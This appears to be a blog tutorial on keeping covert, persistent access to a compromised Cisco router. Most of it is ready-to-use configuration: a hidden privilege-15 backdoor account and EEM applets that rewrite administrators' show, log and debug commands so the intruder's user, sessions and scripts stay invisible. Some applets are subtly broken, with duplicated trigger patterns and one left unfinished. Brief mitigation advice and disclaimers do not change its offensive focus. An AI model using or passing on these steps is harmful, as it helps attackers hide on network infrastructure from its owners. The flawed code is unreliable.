Beginning Reminder: This article is written for research and experimentation purposes only. Only ever access devices you have written, legal authorization to access.
Okay, so here’s the scenario. You found you way into an elevated command prompt on a Cisco router, and you want to establish a persistent foothold on the device while leaving as few markers as possible. You need to do this with existing code, and you’d like to alter as little as possible. Cisco’s EEM is the answer.
Cisco EEM is a programming language built into any modern Cisco IOS switch or router. It allows for all sorts of automatic actions to take place, and it also allows a key feature which we’ll exploit here — it can ‘catch’ a string a user enters and transparently replace it with another string — one which we’ll instruct to exclude our ‘malicious’ pivot code.
Okay, so you’re on an exec command line, what’s next?
Create a user all your own with exec (priv 15) permissions:
! Note: Make sure the username contains the string “hidden”, because those are the lines we are hiding from the configuration below
config t
username hidden_YourUser priv 15 sec yourPassword1234
2. Install a few EEM functions, which do the following:
Hide our user and history from any valid admins by proxying valid commands with commands filtered to hide our information.
EEM Code:
! Hides the EEM code from the running config show command
event manager applet hidden_eemRunningConfig
event cli pattern "show run" sync yes
action 0.0 cli command "enable"
action 1.0 cli command "show run | ex hidden|event|action"
action 2.0 puts "$_cli_result"
! Hides the EEM code from the startup config show command
event manager applet hidden_eemStartupConfig
event cli pattern "show run" sync yes
action 0.0 cli command "enable"
action 1.0 cli command "show start | ex hidden|event|action"
action 2.0 puts "$_cli_result"
! Hides the bad actor's active VTY (telnet/ssh) session
event manager applet hidden_VTY
event cli pattern "show users" sync yes
action 0.0 cli command "enable"
action 1.0 cli command "show users | ex hidden"
action 2.0 puts "$_cli_result"
! Hides the bad actor's active SSH session
event manager applet hidden_sshSession
event cli pattern "show ssh" sync yes
action 0.0 cli command "enable"
action 1.0 cli command "show ssh | ex hidden"
action 2.0 puts "$_cli_result"
! Hides the EEM actions from showing up in local logging via show command
event manager applet hidden_eemLogging
event cli pattern "show log" sync yes
action 0.0 cli command "enable"
action 1.0 cli command "show log | ex HA_EM|hidden"
action 2.0 puts "$_cli_result"
! Hides the EEM and new user from showing up in more system:running" command
event manager applet hidden_moreRunning
event cli pattern "more system:running-config" sync yes
action 0.0 cli command "enable"
action 1.0 cli command "more system:run | ex hidden|event|action"
action 2.0 puts "$_cli_result"
! Hides the EEM and new user from showing up in more system:start" command
event manager applet hidden_moreStart
event cli pattern "more system:running-config" sync yes
action 0.0 cli command "enable"
action 1.0 cli command "more system:start | ex hidden|event|action"
action 2.0 puts "$_cli_result"
! Prevents EEM from being debugged, which could catch our malicious EEMs in action
event manager applet hidden_EEMdebug
event cli pattern "debug event manager" sync yes
action 0.0 cli command "enable"
Weaknesses of This Method
1. Syslog/external logging — No ability to hide the execution of commands in real-time, so they will be logged to an external server if device set up to do so.
2. All EEM scripts are hidden using this method. If administrators utilize EEM for their admin duties, they may become suspicious that their EEM scripts have disappeared.
3. Config backup. If the tool uses snmp to pull a full config, your new config and user are visible. If the tool is like most tools, and simply uses a service account to programmatically run “show run”, your config will stay hidden.
4. The local log of the device will have many hidden lines in its buffer, so it will look short to someone looking closely.
5. If the local log uses line numbers, as recommended by Cisco security best practice (but which is not the default config!), it’ll be evident to someone looking closely that lines are missing.
Mitigation for Administrators
1. Syslog, syslog, syslog. First, to catch the immediate changes by frequent synchronization to catch the initial changes. Second, to catch the EEM in action, as it catches the legitimate user’s commands and hides itself. Third, to catch any further activity by the bad actor as they perform future activities on the system.
Recommendations for Cisco to Fix This Issue
1. Don’t allow aliasing of existing commands. This is messy programming, and allows many opportunities to cripple a router and confuse admins.
Ending Reminder: This article is written for research and experimentation purposes only. Only ever access devices you have written, legal authorization to access.